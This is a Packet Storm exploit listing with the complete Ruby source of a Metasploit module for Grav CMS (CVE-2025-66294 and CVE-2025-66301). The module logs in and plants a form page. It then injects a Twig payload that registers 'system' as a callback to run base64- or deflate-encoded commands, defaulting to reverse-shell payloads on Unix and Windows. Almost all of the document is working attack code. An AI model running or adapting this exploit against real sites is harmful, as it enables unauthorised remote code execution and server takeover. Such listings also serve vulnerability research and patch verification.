PACKETSTORM 9.6 CRITICAL

📄 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777

December 12, 2025 invoker category_exploit
9.6 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Description

This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution. The cleanDangerousTwig method uses weak regex that fails to sanitize...
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Basic Information

ID PACKETSTORM:212777
Published Dec 12, 2025 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE',
'Description' => %q{
This module exploits a Server-Side Template Injection (SSTI)
vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the
Twig sandbox to achieve remote code execution. The cleanDangerousTwig
method uses weak regex that fails to sanitize nested Twig calls within
the evaluate_twig function. To inject the payload, this module leverages
CVE-2025-66301, a broken access control flaw that allows users with page
editing privileges to modify the form's YAML frontmatter process section.
},
'License' => MSF_LICENSE,
'Author' => [
'Tarek Nakkouch'
],
'References' => [
['CVE', '2025-66294'],
['URL', 'https://github.com/advisories/GHSA-662m-56v4-3r8f'],
['CVE', '2025-66301'],
['URL', 'https://github.com/advisories/GHSA-v8x2-fjv7-8hjh']
],
'DisclosureDate' => '2025-12-01',
'Platform' => ['unix', 'linux', 'win'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path to Grav CMS', '/']),
OptString.new('USERNAME', [true, 'Grav CMS username']),
OptString.new('PASSWORD', [true, 'Grav CMS password']),
OptString.new('FORM_NAME', [false, 'Form page name', "form-#{Rex::Text.rand_text_alpha(8).downcase}"])
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return CheckCode::Unknown('Connection failed') unless res

html = res.get_html_document
return CheckCode::Unknown('Could not parse HTML') unless html

# First, verify this is a Grav installation
return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)

# Then verify we have access to the login form
return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)

version_str = get_version_after_login
unless version_str
return CheckCode::Detected('Grav CMS detected but version could not be determined')
end

version = Rex::Version.new(version_str.gsub('-', '.'))

if version < Rex::Version.new('1.8.0.beta.27')
return CheckCode::Appears("Grav CMS #{version_str} is vulnerable")
end

CheckCode::Safe("Grav CMS #{version_str} is patched")
rescue ArgumentError
CheckCode::Detected("Grav CMS detected, version parsing failed: #{version_str}")
rescue ::Rex::ConnectionError
CheckCode::Unknown('Connection failed')
end

def exploit
@form_folder = datastore['FORM_NAME']
@form_name = "exploit-#{Rex::Text.rand_text_alpha(8).downcase}"

login
fetch_admin_nonce
create_form_page
save_form_with_payload
fetch_frontend_nonces
execute_payload
end

private

def grav_installation?(html)
# Check for Grav-specific data attributes
grav_checks = [
html.at('//*[@data-gpm-grav]'),
html.at('//*[@data-grav-field]'),
html.at('//*[@data-grav-disabled]'),
html.at('//*[@data-grav-default]')
]

grav_checks.count { |elem| !elem.nil? } >= 2
end

def login_form_present?(html)
# Check for the specific login form inputs we need
username_input = html.at('input[@name="data[username]"]')
password_input = html.at('input[@name="data[password]"]')

username_input && password_input
end

def get_version_after_login
result = authenticate
return nil unless result == :success || result == :already_authenticated

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return nil unless res && res.code == 200

html = res.get_html_document
return nil unless html

version_elem = html.at('span.grav-version')
return nil unless version_elem

version_elem.text.strip
end

def authenticate
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return :connection_failed unless res

html = res.get_html_document
return :connection_failed unless html

nonce = html.at('input[@name="login-nonce"]/@value')
return :already_authenticated if nonce.nil? && html.at('span.grav-version')
return :connection_failed unless nonce

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true,
'vars_post' => {
'data[username]' => datastore['USERNAME'],
'data[password]' => datastore['PASSWORD'],
'task' => 'login',
'login-nonce' => nonce.text
}
)
return :connection_failed unless res
return :login_failed unless [302, 303].include?(res.code)

:success
end

def login
print_status('Authenticating...')
result = authenticate
case result
when :already_authenticated
print_good('Already authenticated')
when :success
print_good('Login successful')
when :connection_failed
fail_with(Failure::Unreachable, 'Connection failed')
when :login_failed
fail_with(Failure::NoAccess, 'Login failed')
else
fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
end
end

def fetch_admin_nonce
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.code}") unless res.code == 200

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Could not parse admin page') unless html

nonce = html.at('input[@name="admin-nonce"]/@value')
fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce

@admin_nonce = nonce.text
end

def create_form_page
print_status('Creating malicious form page...')
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
'keep_cookies' => true,
'vars_post' => {
'data[title]' => 'Contact Form',
'data[folder]' => @form_folder,
'data[route]' => '',
'data[name]' => 'form',
'data[visible]' => '',
'data[blueprint]' => '',
'task' => 'continue',
'admin-nonce' => @admin_nonce
}
)
fail_with(Failure::Unreachable, 'Connection failed') unless res

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Could not parse form page') unless html

form_nonce = html.at('input[@name="form-nonce"]/@value')
unique_id = html.at('input[@name="__unique_form_id__"]/@value')
fail_with(Failure::UnexpectedReply, 'Could not extract form nonces') unless form_nonce && unique_id

@form_nonce = form_nonce.text
@unique_form_id = unique_id.text
end

def save_form_with_payload
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pages', @form_folder, ':add'),
'keep_cookies' => true,
'vars_post' => {
'task' => 'save',
'data[header][title]' => 'Contact Form',
'data[content]' => 'Please submit the form',
'data[folder]' => @form_folder,
'data[route]' => '',
'data[name]' => 'form',
'data[_json][header][form]' => form_payload_json,
'_post_entries_save' => 'edit',
'__form-name__' => 'flex-pages',
'__unique_form_id__' => @unique_form_id,
'form-nonce' => @form_nonce
}
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::Unknown, 'Failed to save form') unless [200, 302, 303].include?(res.code)
end

def form_payload_json
{
'name' => @form_name,
'fields' => { 'name' => { 'type' => 'text', 'label' => 'Name', 'required' => true } },
'buttons' => { 'submit' => { 'type' => 'submit', 'value' => 'Submit' } },
'process' => [{ 'message' => "{{ evaluate_twig(form.value('name')) }}" }]
}.to_json
end

def fetch_frontend_nonces
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @form_folder),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::NotFound, 'Form page not found') unless res.code == 200

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Could not parse frontend form') unless html

form_nonce = html.at('input[@name="form-nonce"]/@value')
unique_id = html.at('input[@name="__unique_form_id__"]/@value')
form_name = html.at('input[@name="__form-name__"]/@value')
fail_with(Failure::UnexpectedReply, 'Could not extract frontend nonces') unless form_nonce && unique_id

@frontend_nonce = form_nonce.text
@frontend_unique_id = unique_id.text
@frontend_form_name = form_name&.text || @form_name
end

def execute_payload
print_status('Triggering payload execution...')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, @form_folder),
'keep_cookies' => true,
'vars_post' => {
'data[name]' => twig_payload,
'__form-name__' => @frontend_form_name,
'__unique_form_id__' => @frontend_unique_id,
'form-nonce' => @frontend_nonce
}
}, datastore['HttpClientTimeout'])
end

def twig_payload
cmd = payload.encoded

twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
"{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
"{{ grav.twig.twig.getFunction('"
twig_suffix = "') }}"

case target['Type']
when :win_cmd
encoded_cmd = Rex::Text.encode_base64(cmd.encode('UTF-16LE'))

"#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}"

else
begin
require 'zlib'
rescue LoadError => e
fail_with(Failure::Unknown, "Failed to load zlib: #{e.message}")
end
compressed = compress_deflate(cmd)

# Strip newlines from base64 to avoid breaking Twig syntax
encoded_cmd = Rex::Text.encode_base64(compressed, '')

"#{twig_prefix}php -r \"echo gzinflate(base64_decode(\\'#{encoded_cmd}\\'));\" | sh#{twig_suffix}"
end
end

def compress_deflate(data)
deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)
compressed = deflater.deflate(data, Zlib::FINISH)
deflater.close
compressed
end
end

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